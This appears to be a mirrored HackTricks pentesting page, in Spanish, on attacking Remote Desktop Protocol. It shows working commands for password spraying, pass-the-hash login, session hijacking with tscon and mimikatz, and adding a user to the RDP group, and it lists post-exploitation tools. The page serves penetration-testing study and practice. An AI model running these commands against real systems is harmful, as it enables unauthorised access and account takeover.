mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
173 lines
10 KiB
Markdown
173 lines
10 KiB
Markdown
# 3389 - Pentesting RDP
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Realiza una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación de información hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## Información Básica
|
|
|
|
Desarrollado por Microsoft, el **Protocolo de Escritorio Remoto** (**RDP**) está diseñado para habilitar una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer tal conexión, el software cliente **RDP** es utilizado por el usuario, y simultáneamente, la computadora remota debe operar el software servidor **RDP**. Esta configuración permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario.
|
|
|
|
**Puerto por defecto:** 3389
|
|
```
|
|
PORT STATE SERVICE
|
|
3389/tcp open ms-wbt-server
|
|
```
|
|
## Enumeración
|
|
|
|
### Automático
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
|
```
|
|
{% endcode %}
|
|
|
|
Verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene información de NTLM de Windows (versiones).
|
|
|
|
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
|
|
|
|
**Ten cuidado, podrías bloquear cuentas**
|
|
|
|
### **Rociado de contraseñas**
|
|
|
|
**Ten cuidado, podrías bloquear cuentas**
|
|
```bash
|
|
# https://github.com/galkan/crowbar
|
|
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
|
# hydra
|
|
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
|
```
|
|
### Conectar con credenciales/hash conocidas
|
|
```bash
|
|
rdesktop -u <username> <IP>
|
|
rdesktop -d <domain> -u <username> -p <password> <IP>
|
|
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
|
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
|
```
|
|
### Verificar credenciales conocidas contra servicios RDP
|
|
|
|
rdp\_check.py de impacket te permite verificar si algunas credenciales son válidas para un servicio RDP:
|
|
```bash
|
|
rdp_check <domain>/<name>:<password>@<IP>
|
|
```
|
|
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Realiza una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación de información hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## **Ataques**
|
|
|
|
### Robo de sesión
|
|
|
|
Con **permisos de SYSTEM** puedes acceder a cualquier **sesión RDP abierta por cualquier usuario** sin necesidad de conocer la contraseña del propietario.
|
|
|
|
**Obtener sesiones abiertas:**
|
|
```
|
|
query user
|
|
```
|
|
**Acceso a la sesión seleccionada**
|
|
```bash
|
|
tscon <ID> /dest:<SESSIONNAME>
|
|
```
|
|
Ahora estarás dentro de la sesión RDP seleccionada y tendrás que suplantar a un usuario utilizando solo herramientas y características de Windows.
|
|
|
|
**Importante**: Cuando accedas a sesiones RDP activas, desconectarás al usuario que la estaba utilizando.
|
|
|
|
Podrías obtener contraseñas del proceso volcando su contenido, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...)
|
|
|
|
#### **Mimikatz**
|
|
|
|
También podrías usar mimikatz para hacer esto:
|
|
```bash
|
|
ts::sessions #Get sessions
|
|
ts::remote /id:2 #Connect to the session
|
|
```
|
|
### Sticky-keys & Utilman
|
|
|
|
Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento**
|
|
|
|
Puedes buscar RDPs que han sido backdooreados con una de estas técnicas ya con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
|
|
|
### RDP Process Injection
|
|
|
|
Si alguien de un dominio diferente o con **mejores privilegios inicia sesión vía RDP** en la PC donde **tú eres un Admin**, puedes **inyectar** tu beacon en su **proceso de sesión RDP** y actuar como él:
|
|
|
|
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
|
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Adding User to RDP group
|
|
```bash
|
|
net localgroup "Remote Desktop Users" UserLoginName /add
|
|
```
|
|
## Herramientas Automáticas
|
|
|
|
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
|
|
|
**AutoRDPwn** es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque **Shadow** en computadoras Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto **ver el escritorio de su víctima sin su consentimiento**, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo.
|
|
|
|
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
|
* Controlar el mouse y el teclado de manera automatizada desde la línea de comandos
|
|
* Controlar el portapapeles de manera automatizada desde la línea de comandos
|
|
* Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
|
|
* Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
|
|
* Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
|
|
|
|
## Comandos Automáticos de HackTricks
|
|
```
|
|
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
|
Port_Number: 3389 #Comma separated if there is more than one.
|
|
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for RDP
|
|
Note: |
|
|
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
|
|
|
Entry_2:
|
|
Name: Nmap
|
|
Description: Nmap with RDP Scripts
|
|
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
|
```
|
|
<figure><img src="/.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Realiza una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|